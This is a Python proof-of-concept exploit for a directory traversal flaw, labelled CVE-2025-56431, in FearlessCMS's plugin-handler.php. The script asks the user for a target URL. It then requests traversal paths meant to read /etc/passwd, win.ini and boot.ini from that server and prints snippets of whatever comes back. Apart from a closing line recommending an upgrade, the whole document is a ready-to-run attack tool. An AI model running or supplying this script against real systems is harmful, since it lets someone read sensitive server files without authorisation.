CVE-2025-56431

import requests # CVE-2025-56431 PoC - FearlessCMS Directory Traversal DoS # Target: FearlessCMS v.0.0.2-15 # Vulnerability: plugin-handler.php file_get_contents() Directory Traversal target_url = input("Enter target URL (e.g., http://target.com): ").rstrip('/') # Path traversal payload to read sensitive files paths = [ '../../../../etc/passwd', '../../../../windows/win.ini', '../../../../boot.ini' ] print(f"[*] Testing CVE-2025-56431 on {target_url}") print("[*] Vulnerability: Directory Traversal in plugin-handler.php") print("-" * 60) for path in paths: url = f"{target_url}/plugin-handler.php?plugin={path}" try: print(f"[*] Requesting: {url}") response = requests.get(url, timeout=10) print(f"[+] Status Code: {response.status_code}") if response.status_code == 200: print(f"[+] Response Length: {len(response.text)}") if len(response.text) > 0: print(f"[+] Content snippet: {response.text[:200]}...") except requests.exceptions.Timeout: print(f"[!] Request timed out - possible DoS condition") except Exception as e: print(f"[!] Error: {e}") print("-" * 60) print("[*] PoC completed") print("[*] Recommendation: Upgrade to patched version")

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